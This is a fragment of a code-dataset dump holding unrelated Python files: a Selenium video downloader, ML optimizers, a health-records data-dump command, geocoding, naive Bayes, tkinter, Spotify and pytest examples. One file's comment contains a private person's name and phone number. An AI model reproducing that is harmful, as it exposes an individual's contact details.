Videos\"))\r\nits=len(files)\r\n#open_youtube(its)\r\nnextTab(its)\r\nschedule(its)\r\n#\r\npublish(its)\r\n\r\n#Andrew Adiberry\r\n#503 681 5405\r\n\r\n","sub_path":"Earnings Calls/next.py","file_name":"next.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"15103179","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport selenium.webdriver.support.ui as ui\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.common.exceptions import TimeoutException, NoSuchElementException\nfrom common.exceptions import SiteErrorException\n\n\nclass Downloader(object):\n def __init__(self, url, driver='assets/chromedriver.exe'):\n self.chrome_driver_path = driver\n self.site_url = url\n self.ext_sht = Keys.CONTROL + \"m\"\n chop = webdriver.ChromeOptions()\n chop.add_extension('assets/Flash-Video-Downloader_v29.1.0.crx')\n self.driver = webdriver.Chrome(executable_path=self.chrome_driver_path, chrome_options=chop)\n self.wait = ui.WebDriverWait(self.driver, 10)\n self.counterWait = ui.WebDriverWait(self.driver, 35)\n # self.set_extension_shortcut()\n\n def set_extension_shortcut(self):\n self.driver.get('chrome://extensions-frame/')\n self.driver.find_element(By.XPATH, \"//a[@class='extension-commands-config']\").click()\n self.driver.find_element(By.XPATH, \"//span[@class='command-shortcut-text']\").send_keys(self.ext_sht)\n self.driver.find_element(By.ID, \"extension-commands-dismiss\").click()\n\n def connect(self):\n self.driver.get(self.site_url)\n\n def perform_search(self, search_text):\n search = self.driver.find_element(By.XPATH, \"//input[@name='term'][@type='text']\")\n search.send_keys(search_text)\n search = self.driver.find_element(By.XPATH, \"//form[@id='mainSearch']/div/span/button\")\n search.click()\n\n def select_season(self, season_num):\n season_link = self.driver.find_element(By.XPATH, \"//li[@data-season='{}']\".format(season_num))\n season_link.click()\n\n def select_episode(self, episode_num):\n episode_link = self.counterWait.until(lambda driver: driver.find_element(By.XPATH,\n \"//ul[@id='episode']/li[@data-episode='{}']\".format(\n episode_num)))\n episode_link = self.driver.find_element(By.XPATH,\n \"//ul[@id='episode']/li[@data-episode='{}']\".format(episode_num))\n episode_link.click()\n\n timer = self.wait.until(lambda driver: driver.find_element(By.XPATH, \"//p[@id='waitTime']\"))\n timer.location_once_scrolled_into_view\n # footer = self.driver.find_element_by_tag_name('footer')\n # footer.location_once_scrolled_into_view\n # actions = ActionChains(self.driver)\n # actions.move_to_element(footer)\n # p id =waitTime\n\n def activate_extension(self):\n self.driver.find_element(By.TAG_NAME, \"body\").send_keys(self.ext_sht)\n\n def download_using_flash(self):\n try:\n p_button = self.counterWait.until(lambda driver: driver.find_element(By.XPATH,\n \"//button[@id='proceed']\"))\n try:\n error = self.counterWait.until(lambda driver: driver.find_element(By.XPATH,\n \"//div[@class='err']\"))\n if 'שגיאה' in error.text:\n raise SiteErrorException\n except NoSuchElementException as e:\n print(\"no such element {}\".format(e.msg))\n # EC.\n # self.wait.\n self.activate_extension()\n\n except TimeoutException as e:\n print(\"timeout exception\")\n error = self.driver.find_element(By.XPATH, \"//div[@class='err']\")\n if error:\n raise SiteErrorException()\n except SiteErrorException as e:\n raise e\n\n def refresh(self):\n self.driver.refresh()\n\n def close(self):\n self.driver.close()\n\n def switch_tabs(self):\n self.driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + Keys.TAB)\n\n def open_new_tab(self, url):\n self.driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + 't')\n self.driver.get(url)\n\n def close_current_tab(self):\n self.driver.find_element_by_tag_name('html').send_keys(Keys.CONTROL + 'w')\n","sub_path":"download/Downloader.py","file_name":"Downloader.py","file_ext":"py","file_size_in_byte":4323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"77014154","text":"import cupy as np\n\n\ndef set_optimizer(opt, lr):\n if opt == \"SGD\":\n return SGD(lr = lr)\n if opt == \"Adam\":\n return Adam(lr = lr)\n if opt == \"AdaBound\":\n return AdaBound(lr = lr, final_lr = 0.1)\n else:\n print(\"{} is not defined.\".format(opt))\n return None\n \n\nclass SGD:\n def __init__(self, lr = 0.1):\n self.lr = lr\n\n def update(self, params, grads):\n for key in params.keys():\n params[key] -= self.lr * grads[key]\n\n\nclass Adam:\n def __init__(self, lr):\n self.lr = lr\n self.beta1 = 0.9\n self.beta2 = 0.999\n self.iters = 0\n self.m = None\n self.v = None\n self.eps = 1e-7\n\n def update(self, params, grads):\n if self.m is None and self.v is None:\n self.m = {}\n self.v = {}\n for key, val in params.items():\n self.m[key] = np.zeros_like(val)\n self.v[key] = np.zeros_like(val)\n self.iters += 1\n lr_t = self.lr * np.sqrt(1.0 - self.beta2**self.iters) / (1.0 - self.beta1**self.iters)\n for key in params.keys():\n self.m[key] += (1.0 - self.beta1) * (grads[key] - self.m[key])\n self.v[key] += (1.0 - self.beta2) * (grads[key]**2 - self.v[key])\n params[key] -= lr_t * self.m[key] / (np.sqrt(self.v[key]) + self.eps)\n\n\nclass AdaBound:\n def __init__(self, lr, final_lr):\n self.lr = lr\n self.final_lr = final_lr\n self.beta1 = 0.9\n self.beta2 = 0.999\n self.iters = 0\n self.m = None\n self.v = None\n self.eps = 1e-7\n\n def update(self, params, grads):\n if self.m is None and self.v is None:\n self.m = {}\n self.v = {}\n for key, val in params.items():\n self.m[key] = np.zeros_like(val)\n self.v[key] = np.zeros_like(val)\n self.iters += 1\n lower_lr = self.final_lr * (1.0 - 1.0 / ((1.0-self.beta2) * self.iters + 1.0))\n higher_lr = self.final_lr * (1.0 + 1.0 / ((1.0-self.beta2) * self.iters))\n for key in params.keys():\n self.m[key] += (1.0 - self.beta1) * (grads[key] - self.m[key])\n self.v[key] += (1.0 - self.beta2) * (grads[key]**2 - self.v[key])\n lr_t = np.clip(self.lr / (np.sqrt(self.v[key]) + self.eps), lower_lr, higher_lr) / np.sqrt(self.iters)\n params[key] -= lr_t * self.m[key]\n","sub_path":"optimizer_gpu.py","file_name":"optimizer_gpu.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"491699478","text":"from __future__ import (\n absolute_import,\n print_function,\n)\n\nfrom __future__ import unicode_literals\nimport os\nfrom corehq.form_processor.interfaces.dbaccessors import CaseAccessors\nfrom corehq.apps.es.case_search import CaseSearchES\nfrom corehq.apps.es import queries\n\nfrom custom.enikshay.case_utils import (\n CASE_TYPE_EPISODE,\n CASE_TYPE_PERSON,\n get_all_occurrence_cases_from_person,\n)\nfrom custom.enikshay.const import ENROLLED_IN_PRIVATE\nfrom custom.enikshay.management.commands.base_data_dump import BaseDataDump\nfrom corehq.elastic import ES_EXPORT_INSTANCE\n\nDOMAIN = \"enikshay\"\n\n\nclass Command(BaseDataDump):\n \"\"\" data dumps for person cases\n\n https://docs.google.com/spreadsheets/d/1OPp0oFlizDnIyrn7Eiv11vUp8IBmc73hES7qqT-mKKA/edit#gid=1039030624\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(Command, self).__init__(*args, **kwargs)\n self.case_type = CASE_TYPE_PERSON\n self.input_file_name = os.path.join(os.path.dirname(__file__),\n 'data_dumps_person_case.csv')\n\n TASK_NAME = \"data_dumps_person_case\"\n INPUT_FILE_NAME = ('%s/data_dumps_person_case.csv' %\n os.path.dirname(os.path.realpath(__file__)))\n\n def get_last_episode(self, case):\n self.context['last_episode'] = (\n self.context.get('last_episode') or\n get_last_episode(case)\n )\n if not self.context['last_episode']:\n return Exception(\"could not find last episode for person %s\" % case.case_id)\n return self.context['last_episode']\n\n def get_custom_value(self, column_name, case):\n if column_name == 'Status':\n if case.closed:\n return \"closed\"\n elif case.owner_id == \"_invalid_\":\n return \"removed\"\n elif case.owner_id == '_archive_':\n return \"archived\"\n else:\n return \"active\"\n return Exception(\"unknown custom column %s\" % column_name)\n\n def get_case_reference_value(self, case_reference, case, calculation):\n if case_reference == 'last_episode':\n try:\n return self.get_last_episode(case).get_case_property(calculation)\n except Exception as e:\n return str(e)\n return Exception(\"unknown case reference %s\" % case_reference)\n\n def get_case_ids(self, case_type):\n \"\"\"\n All open and closed person cases with person.dataset = 'real' and person.enrolled_in_private != 'true'\n \"\"\"\n return (CaseSearchES(es_instance_alias=ES_EXPORT_INSTANCE)\n .domain(DOMAIN)\n .case_type(case_type)\n .case_property_query(ENROLLED_IN_PRIVATE, 'true', clause=queries.MUST_NOT)\n .case_property_query(\"dataset\", 'real')\n .get_ids()[0:10])\n\n\ndef get_recently_closed_case(person_case, all_cases):\n recently_closed_case = None\n recently_closed_time = None\n for case in all_cases:\n case_closed_time = case.closed_on\n if case_closed_time:\n if recently_closed_time is None:\n recently_closed_time = case_closed_time\n recently_closed_case = case\n elif recently_closed_time and recently_closed_time < case_closed_time:\n recently_closed_time = case_closed_time\n recently_closed_case = case\n elif recently_closed_time and recently_closed_time == case_closed_time:\n raise Exception(\"This looks like a super edge case that can be looked at. \"\n \"Two episodes closed at the same time. Case id: {case_id}\"\n .format(case_id=case.case_id))\n\n if not recently_closed_case:\n return Exception(\"Could not find recently closed episode case for person %s\" %\n person_case.case_id)\n\n return recently_closed_case\n\n\ndef get_all_episode_cases_from_person(domain, person_case_id):\n occurrence_cases = get_all_occurrence_cases_from_person(domain, person_case_id)\n return [\n case for case in CaseAccessors(domain).get_reverse_indexed_cases(\n [c.case_id for c in occurrence_cases], case_types=[CASE_TYPE_EPISODE])\n ]\n\n\ndef get_last_episode(person_case):\n \"\"\"\n For all episode cases under the person (the host of the host of the episode is the primary person case)\n If count(open episode cases with episode.is_active = 'yes') > 1, report error\n If count(open episode cases with episode.is_active = 'yes') = 1, pick this case\n If count(open episode cases with episode.is_active = 'yes') = 0:\n If count(open episode cases) > 0, report error\n Else, pick the episode with the latest episode.closed_date\n \"\"\"\n episode_cases = get_all_episode_cases_from_person(person_case.domain, person_case.case_id)\n open_episode_cases = [\n episode_case for episode_case in episode_cases\n if not episode_case.closed\n ]\n active_open_episode_cases = [\n episode_case for episode_case in open_episode_cases\n if episode_case.get_case_property('is_active') == 'yes'\n ]\n if len(active_open_episode_cases) > 1:\n raise Exception(\"Multiple active open episode cases found for %s\" % person_case.case_id)\n elif len(active_open_episode_cases) == 1:\n return active_open_episode_cases[0]\n elif len(open_episode_cases) > 0:\n raise Exception(\"Open inactive episode cases found for %s\" % person_case.case_id)\n else:\n return get_recently_closed_case(person_case, episode_cases)\n","sub_path":"custom/enikshay/management/commands/data_dumps_person_case.py","file_name":"data_dumps_person_case.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"378013012","text":"from geopy.geocoders import Nominatim\n\n\ndef parse_location_from_address():\n geo_locator = Nominatim(user_agent=\"specify_your_app_name_here\")\n location = geo_locator.geocode(\"175 5th Avenue NYC\")\n # print(location.address)\n # print((location.latitude, location.longitude))\n print(location.raw)\n\n\ndef get_address_from_latlng():\n geo_locator = Nominatim(user_agent=\"specify_your_app_name_here\")\n location = geo_locator.reverse(\"23.8185045,90.3555421\", language=\"en\")\n print(location.raw)\n for k, v in location.raw.items():\n print(f\"{k}: {v} \")\n\n print(location.address)\n\n\nget_address_from_latlng()\n","sub_path":"geo_coder.py","file_name":"geo_coder.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"591686092","text":"# -*- co ding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 31 16:32:51 2014\n\n@author: Kshitij\n\"\"\"\nimport numpy as np\nimport math\nF_sl = []\nF_sw = []\nF_pl = []\nF_pw = []\n\nft = {\"sl\":0, \"sw\":1, \"pl\":2, \"pw\":3}\n\nbin_info = {0:[3.6/4, 4, 4.3], 1:[2.4/4, 4, 2.0], 2:[5.9/5, 5, 1], 3:[2.4/3, 3, 0.1]}\npercentage = 40\ntraining = {}\ntest = {}\nprior = {0:0, 1:0, 2:0}\n\ndef main():\n\n #variables \n global F_pl\n global F_sl\n global F_pw\n global F_sw\n data = []\n misclass = 0\n #read data from file\n f = open(\"iris.txt\")\n for line in f:\n y = line.split()\n \n data.append(y)\n \n #randomly select data for training and testing\n pickData(data, percentage)\n \n #calculates P(C_1), P(C_2), P(C_3) from the training data\n calcPrior(percentage/100*len(data))\n #print(prior)\n \n #Initialize Feature Histograms (F1, F2, F3, F4) with given # of bins \n F_pl = initFMat(F_pl, bin_info[ft[\"pl\"]][1])\n F_pw = initFMat(F_pw, bin_info[ft[\"pw\"]][1]) \n F_sl = initFMat(F_sl, bin_info[ft[\"sl\"]][1])\n F_sw = initFMat(F_sw, bin_info[ft[\"sw\"]][1])\n \n #Fill up the historgrams\n F_pl = fillBin(F_pl, training, ft[\"pl\"], bin_info[ft[\"pl\"]][0], bin_info[ft[\"pl\"]][1])\n print(\"Hist for Petal_length: \",F_pl)\n F_pw = fillBin(F_pw, training, ft[\"pw\"], bin_info[ft[\"pw\"]][0], bin_info[ft[\"pw\"]][1])\n print(\"Hist for Petal_width: \",F_pw)\n F_sl = fillBin(F_sl, training, ft[\"sl\"], bin_info[ft[\"sl\"]][0], bin_info[ft[\"sl\"]][1])\n print(\"Hist for sepal_length: \",F_sl)\n F_sw = fillBin(F_sw, training, ft[\"sw\"], bin_info[ft[\"sw\"]][0], bin_info[ft[\"sw\"]][1]) \n print(\"Hist for sepal_width: \",F_sw)\n\n #testing bayes\n for key, value in test.items():\n print(\"key \",key)\n \n if naiveBayes(value):\n print(\"correctly classified!\")\n else:\n misclass+=1\n \n print(\"misclass: \", 100*misclass/len(test))\n\ndef initFMat(F, div):\n F = [[0 for i in range(div)] for j in range(3)]\n return F\n\n\ndef naiveBayes(test_tuple):\n #print(\"test_tuple val for sw: \", test_tuple[ft[\"sw\"]])\n # class 1\n # Feature 1\n swbin = int((float(test_tuple[ft[\"sw\"]])-bin_info[ft[\"sw\"]][2]-0.001)/bin_info[ft[\"sw\"]][0])\n #print(\"this tuple sits here for feature sw: \", swbin) \n slbin = int((float(test_tuple[ft[\"sl\"]])-bin_info[ft[\"sl\"]][2]-0.001)/bin_info[ft[\"sl\"]][0])\n #print(\"this tuple sits here for feature sl: \", slbin)\n #print(\"min pl\",bin_info[ft[\"pl\"]][2])\n #print(\"bin width\", bin_info[ft[\"pl\"]][0])\n plbin = int((float(test_tuple[ft[\"pl\"]])-bin_info[ft[\"pl\"]][2]-0.001)/bin_info[ft[\"pl\"]][0])\n #print(\"this tuple sits here for feature pl: \", plbin)\n pwbin = int((float(test_tuple[ft[\"pw\"]])-bin_info[ft[\"pw\"]][2]-0.001)/bin_info[ft[\"pw\"]][0])\n #print(\"this tuple sits here for feature pw: \", pwbin)\n \n p_cl0 = prior[0]*F_sw[0][swbin]*F_sl[0][slbin]*F_pl[0][plbin]*F_pw[0][pwbin]\n #print(\"F_sw: \", F_sw)\n #print(\"F_pl: \", F_pl)\n #print(\"F_pw: \", F_pw)\n #print(\"F_sl: \", F_sl)\n print(\"probability of being in class 0: \", p_cl0)\n \n p_cl1 = prior[1]*F_sw[1][swbin]*F_sl[1][slbin]*F_pl[1][plbin]*F_pw[1][pwbin]\n print(\"probability of being in class 1: \", p_cl1) \n \n p_cl2 = prior[2]*F_sw[2][swbin]*F_sl[1][slbin]*F_pl[2][plbin]*F_pw[2][pwbin]\n print(\"probability of being in class 2: \", p_cl2)\n\n cls = [p_cl0, p_cl1, p_cl2].index(max([p_cl0, p_cl1, p_cl2]))\n print(\"predicted class: \", cls)\n\n print(\"actual class: \", test_tuple[4]) \n \n if cls == int(test_tuple[4]):\n return True\n else:\n return False\n\ndef fillBin(F, data, fid, size, div):\n feature_data = []\n for key, value in data.items():\n feature_data.append([value[fid], value[4]])\n feature_data.sort() \n \n #print(\"F NEW!!:\",F)\n binC = [] \n for i in range(div):\n #binC.append((i+1)*size+bin_info[fid][2]*10)\n temp = (i+1)*size+bin_info[fid][2]\n ntemp = math.ceil(temp*10)/10\n binC.append(ntemp)\n \n print(\"binC:\",binC)\n binIn = 0 \n \n for x in feature_data:\n if (float(x[0])>binC[binIn]):\n binIn+=1\n #print(\"x[0]:\", x[0])\n #print(\"x[1]: \", x[1])\n #print(\"binIn: \", binIn)\n F[int(x[1])][binIn]+=1\n \n tot = [0 for j in range(3)]\n \n for j in range(3):\n for i in range(div):\n tot[j]+=F[j][i]\n\n #print(\"tot: \",tot) \n #print(\"F: \",F)\n for j in range(3):\n for i in range(div):\n if tot[j]==0:\n tot[j]=1\n F[j][i] = F[j][i]/tot[j]\n \n return F\n \ndef calcPrior(total):\n for i in training:\n #print(training[i][4])\n if training[i][4] == '0':\n prior[0]+=1\n elif training[i][4] == '1':\n prior[1]+=1\n else:\n prior[2]+=1\n for i in prior:\n prior[i]=prior[i]/total\n\ndef pickData(data, perc):\n \n global training \n global test\n x=0\n #print(\"sizes:\", round(perc/100*len(data)))\n while x < (round(perc/100*len(data))):\n x+=1\n temp = np.random.random_integers(0, len(data)-1)\n if temp not in training:\n training[temp] = data[temp]\n else:\n x-=1\n \n #print(len(training))\n for y in range(len(data)):\n if y not in training:\n test[y] = data[y]\n \n\nif __name__ == \"__main__\":\n main() ","sub_path":"randomDataPicker.py","file_name":"randomDataPicker.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"121362815","text":"#!/usr/bin/env python2\n# -*- coding: utf8\n\n\"\"\"\tdemo for MVC with ttk.TreeView and ttk styling.\n\"\"\"\n\nfrom __future__ import print_function\nfrom pprint import pprint\n\ntry:\n import tkinter as tk\nexcept Exception as ex:\n import Tkinter as tk\n\nimport ttk\n\nfrom node import node\n \nclass tree_model(object):\n \"\"\"\n \"\"\"\n \n def __init__(self, config_file=None):\n \"\"\"\n \"\"\" \n self.root = None\n if config_file is not None:\n self.load_config(config_file)\n \n def load_config(self, config_file):\n \"\"\"\n \"\"\"\n self.root = node.tree_from_nested_list(node.sample_tree)\n \n#s = ttk.Style()\n#s.configure('My.TFrame', background='red')\n \nclass tree_view(ttk.Frame):\n \"\"\"\n \"\"\"\n\n @staticmethod\n def object_to_id(object):\n return str(object).replace(' ','_')\n \n def __init__(self, master, presenter):\n \"\"\"\n \"\"\"\n ttk.Frame.__init__(self, master) #, style='My.TFrame')\n\n self.popup = None\n \n self.sb = ttk.Scrollbar(self)\n self.sb.pack(side=tk.RIGHT, expand=tk.NO, fill=tk.Y)\n self.tv = ttk.Treeview(self, columns=('v1','v2','v3'),\n displaycolumns=('#all'),\n selectmode='browse',\n show='tree headings',\n yscrollcommand=self.sb.set\n )\n self.tv.pack(side=tk.LEFT, expand=tk.YES, fill=tk.BOTH)\n self.tv.heading('#0',text='Element')\n self.sb.configure(command=self.tv.yview)\n \n self.presenter = presenter\n \n self.tv.bind('<>', self.selection)\n self.tv.bind('', self.context_menu)\n\n def selection(self, event):\n self.presenter.selection(self.rmap[self.tv.selection()[0]])\n\n def update_view(self, data_list):\n \"\"\"\n \"\"\"\n self.map = {None:''} # object -> menu_id\n if data_list is not None:\n for d in data_list:\n try:\n pid = self.map[d.parent]\n new_id = self.tv.insert(pid, index='end', text=unicode(d.value), value=(unicode(d.value), unicode(d.value), 'a titi'), open=True)\n self.map[d] = new_id \n except Exception as ex:\n print('-- Exception while inserting entry :',ex)\n print('map is', self.map)\n print('pid is', pid)\n self.rmap = {}\n for x in self.map.keys():\n self.rmap[self.map[x]] = x # menu_id -> object, useful when selecting\n\n def context_menu(self, event):\n item_id = self.tv.identify('item',event.x,event.y)\n if item_id=='':\n return\n #print('treeview item', item_id)\n self.tv.selection_set(item_id)\n obj = self.rmap[item_id]\n # create a popup menu from a menu structure\n menu_title, menu_description = obj.menu_structure()\n self.popup = self.build_popup(menu_description, menu_title=menu_title)\n self.popup.tk_popup(event.x_root, event.y_root)\n \n def build_popup(self, menu_description, menu_title=None, parent=None):\n if parent is None:\n parent = self\n menu = tk.Menu(parent, tearoff=0, title=menu_title) # tearoff=1 implies handling menu changes on other tree nodes changes\n if menu_title is not None:\n menu.add_command(label=' '+menu_title, bitmap='gray75', compound='left', command=None, background='black', foreground='white')\n for entry in menu_description:\n title, action = entry\n if isinstance(action, list):\n submenu = self.build_popup(action, parent=menu)\n menu.add_cascade(label=title, menu=submenu)\n elif title is None:\n menu.add_separator()\n elif action is None: # to be removed, was title\n #menu.add_command(label=' '+title, bitmap='gray25', compound='left', state='disabled', background='black', foreground='white')\n menu.add_command(label=' '+title, background='black', foreground='white')\n else:\n menu.add_command(label=title, command=action)\n \n return menu\n \n \n def insert_item(self, item):\n \"\"\" \n * The following item options may be specified for items in the insert and item widget commands:\n text The textual label to display for the item.\n image A Tk Image, displayed to the left of the label.\n values The list of values associated with the item.\n Each item should have the same number of values as the widget option columns. \n If there are fewer values than columns, the remaining values are assumed empty. If there are more values than columns, the extra values are ignored.\n open True/False value indicating whether the item’s children should be displayed or hidden.\n tags A list of tags associated with this item.\n \n * The following options may be specified on tags:\n foreground Specifies the text foreground color.\n background Specifies the cell or item background color.\n font Specifies the font to use when drawing text.\n image Specifies the item image, in case the item’s image option is empty.\n\n The Treeview widget generates the following virtual events:\n <> Generated whenever the selection changes.\n <> Generated just before settings the focus item to open=True.\n <> Generated just after setting the focus item to open=False.\n \n parent is the item ID of the parent item, or the empty string to create a new top-level item. \n index is an integer, or the value “end”, \n specifying where in the list of parent’s children to insert the new item. \n If index is less than or equal to zero, the new node is inserted at the beginning; \n if index is greater than or equal to the current number of children, it is inserted at the end. \n If iid is specified, it is used as the item identifier; iid must not already exist in the tree. Otherwise, a new unique identifier is generated.\n \"\"\"\n\nclass tree_presenter(object):\n \"\"\"\n \"\"\"\n \n def __init__(self, model, on_select):\n \"\"\"\n \"\"\"\n self.model = model\n print('model=', model)\n self.views = []\n self.on_select = on_select\n \n def new_ui_view(self, master):\n \"\"\"\n \"\"\"\n new_view = tree_view(master, self)\n self.views.append(new_view)\n new_view.update_view(self.model.root.all_subtree_nodes())\n return new_view\n \n def update_view(self):\n \"\"\"\n \"\"\"\n for v in self.views:\n v.update_view(self.model.root.all_subtree_nodes())\n \n def selection(self, object):\n \"\"\"\n \"\"\"\n #print(event, event.widget)\n #w = event.widget\n #print(w.focus(), w.selection())\n print('selected object', object)\n\n #def right_click(self, event):\n # w = event.widget\n\n def context_menu(self, event):\n print('right click')\n w = event.widget\n print(w.focus(), w.selection())\n\n\nclass app_window(tk.Frame):\n\n EXIT_OK = 0\n EXIT_FAIL_INIT = 1\n EXIT_UNEXPECTED = 2\n\n def __init__(self, master, model):\n \"\"\"\n \"\"\"\n self.exit_status = 2 # not initialized yet\n \n tk.Frame.__init__(self, master)\n\n self.tp = tree_presenter(model, self.selection)\n \n self.t = self.tp.new_ui_view(self)\n self.t.pack(expand=tk.YES, fill=tk.BOTH)\n \n tk.Button(self, text='Quit', command=self.event_quit_request).pack()\n \n def event_quit_request(self, optional_code=None):\n \"\"\"\n \"\"\" \n print(optional_code)\n self.exit_status = app_window.EXIT_OK\n self.master.destroy()\n\n def selection(self, event):\n \"\"\"\n \"\"\"\n print(event)\n print(self.t.focus(), self.t.selection())\n\n\n#\n#\n#\n \nif __name__ == '__main__':\n\n try:\n root = tk.Tk()\n except Exception as ex:\n print(ex)\n exit(app_window.EXIT_FAIL_INIT)\n try:\n data = tree_model('dummy')\n print('data=', data)\n aw = app_window(root, data)\n except Exception as ex:\n print(ex)\n exit(app_window.EXIT_FAIL_INIT)\n else:\n aw.pack(expand=tk.YES, fill=tk.BOTH)\n root.protocol('WM_DELETE_WINDOW', aw.event_quit_request)\n try:\n root.mainloop()\n except Exception as ex:\n print(ex)\n print(aw.exit_status)\n exit(aw.exit_status)\n ","sub_path":"t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":8083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"237768678","text":"from os import path\nimport sys\nimport json\n\n# Add the parent directory to the sys.path so allow importing modules\n# in the ../lib directory\nsys.path.append(path.dirname(path.dirname(path.abspath(__file__))))\nfrom lib.spotify import Spotify\nfrom lib.database import Database\n\ndef main():\n spotify = Spotify(user_id = 'therumbler')\n playlist_all_id = '7kyx2nzrGrCmjfdcMA5h4S'\n playlist_all = spotify.get_all('users/therumbler/playlists/{}/tracks'.format(playlist_all_id))\n\n playlist_instrumental_id = '65BFOkaLoWIRF2jePfOSl8'\n playlist_instrumental = spotify.get_all('users/therumbler/playlists/{}/tracks'.format(playlist_instrumental_id))\n playlist_vocals_id = '4uWb4JEKt4Z1cclJF7tktk'\n playlist_vocals = spotify.get_all('users/therumbler/playlists/{}/tracks'.format(playlist_vocals_id))\n track = spotify.get('audio-features/3OhepZ0HXPdhxVw5XbejdV')\n\n print(json.dumps(playlist_all['total'], indent =2))\n for item in playlist_all['items']:\n track = item['track']\n #print json.dumps(track, indent = 2)\n audio_features = spotify.get('audio-features/{}'.format(track['id']))\n\n playlist_id = None\n if audio_features['instrumentalness'] > 0.75:\n # add to intrumental playlist\n if track['id'] not in [item['track']['id'] for item in playlist_instrumental['items']]:\n playlist_id = playlist_instrumental_id\n if audio_features['instrumentalness'] < 0.25:\n\n # add to vocal playlist\n if track['id'] not in [item['track']['id'] for item in playlist_vocals['items']]:\n playlist_id = playlist_vocals_id\n\n if playlist_id:\n\n print(\"about to add track {} to playlist {}\".format(track['id'], playlist_id))\n #spotify.post('users/therumbler/playlists/{}/tracks/?uris={}'.format(playlist_id, track['uri']))\n else:\n print(\"track {} has an instrumentalness of {}\".format(track['id'], audio_features['instrumentalness']))\n \nif __name__ == \"__main__\":\n main()\n\n","sub_path":"scripts/playlist_update.py","file_name":"playlist_update.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"20496372","text":"import logging\nimport logging.handlers\n\ndef loggingBasic():\n checkVal = input(\"input True or False:\")\n logging.basicConfig(filename='./log/test.log', level=logging.DEBUG)\n logging.info(\"==============================\")\n logging.debug(\"Debug\")\n logging.info(\"Announced Time\")\n logging.warning(\"Warning\")\n logging.error(\"Error\")\n logging.critical(\"Critical Error\")\n\n logging.info(\"==============================\")\n print(\"Retrieve\")\n\n if checkVal:\n print(\"checkVal:%s\"%checkVal)\n else:\n print(\"checkVal:%s\"%checkVal)\n logging.critical(\"Critical Error\")\n\n\ndef loggerBasic():\n print(\"loggerBasic()\")\n\n logger = logging.getLogger('mylogger')\n\n fileHandler = logging.FileHandler('./log/testLog.log')\n streamHandler = logging.StreamHandler()\n\n logger.addHandler(fileHandler)\n logger.addHandler(streamHandler)\n\n logger.setLevel(logging.DEBUG)\n logger.debug(\"===========================\")\n logger.info(\"TEST START\")\n logger.warning(\"스트림으로 로그가 남아요~\")\n logger.error(\"파일로도 남으니 안심이죠~!\")\n logger.critical(\"치명적인 버그는 꼭 파일로 남기기도 하고 메일로 발송하세요!\")\n logger.debug(\"===========================\")\n logger.info(\"TEST END!\")\n\ndef loggerIntermediate():\n print(\"\\n\\033[96mloggerIntermediate\\033[0m\")\n\n logger = logging.getLogger('mylogger')\n\n formatter = logging.Formatter('[%(levelname)s|%(filename)s] %(asctime)s > %(message)s')\n\n fileHandler = logging.FileHandler('./log/testLog.log')\n streamHandler = logging.StreamHandler()\n\n fileHandler.setFormatter(formatter)\n streamHandler.setFormatter(formatter)\n\n logger.addHandler(fileHandler)\n logger.addHandler(streamHandler)\n\n logger.setLevel(logging.DEBUG)\n logger.debug(\"\\033[96m===========================\")\n logger.info(\"TEST START\")\n logger.warning(\"스트림으로 로그가 남아요~\")\n logger.error(\"파일로도 남으니 안심이죠~!\")\n logger.critical(\"치명적인 버그는 꼭 파일로 남기기도 하고 메일로 발송하세요!\")\n logger.debug(\"\\033[96m===========================\\033[0m\")\n logger.info(\"TEST END!\")\n\n# loggerBasic()\nloggerIntermediate()","sub_path":"EXCode/loggingTest.py","file_name":"loggingTest.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"535232321","text":"import pytest\r\nimport os\r\nimport sys\r\n\r\nsys.path.append('E:/gitL/PycharmProjects/Reptile/autoTestDemo_pytest')\r\n\r\nfrom SourceCode.calc import Calculator\r\n\r\nimport allure\r\n\r\n'''\r\n-pytest命名规则\r\n .文件名要以test_开头\r\n .类名要以Test开头,首字母大写,方法名要以test_开头\r\n\r\n-Allure\r\n .Allure.attch()\r\n .Allure.attch.file()\r\n\r\n-Fixture固件,自定义用例预置条件,功能类似于setup、teardown,不过更为灵活\r\n .把固件名称当参数传入用例函数调用\r\n .默认级别是scope=function,每个函数可调用\r\n .scope=class,每个类可调用一次,scope=module,每个.py文件可调用一次,scope=session,多个.py文件调用一次\r\n .pytest会自动识别该文件,放在与用例同一package下,不需要导入\r\n'''\r\ntest_user_data2 = ['admin1', 'admin2']\r\n\r\n\r\n@pytest.fixture(scope=\"class\")\r\ndef fix():\r\n print('first run fixture')\r\n\r\n\r\n@pytest.fixture(scope=\"module\")\r\ndef par(request):\r\n param = request.param\r\n print('测试request获取作用在用例上的数据: %s' % param)\r\n yield param\r\n\r\n\r\nclass TestCalc:\r\n\r\n @classmethod\r\n def setup_class(cls):\r\n print(os.path.abspath('.'))\r\n print(os.path.abspath(__file__))\r\n print(sys.path)\r\n print('所有测试用例运行前执行')\r\n # assert os.path.abspath('.') in sys.path\r\n cls.calc = Calculator()\r\n\r\n def test_add(self, login):\r\n print('run add')\r\n assert 2 == self.calc.add(1, 1)\r\n\r\n def test_div(self, 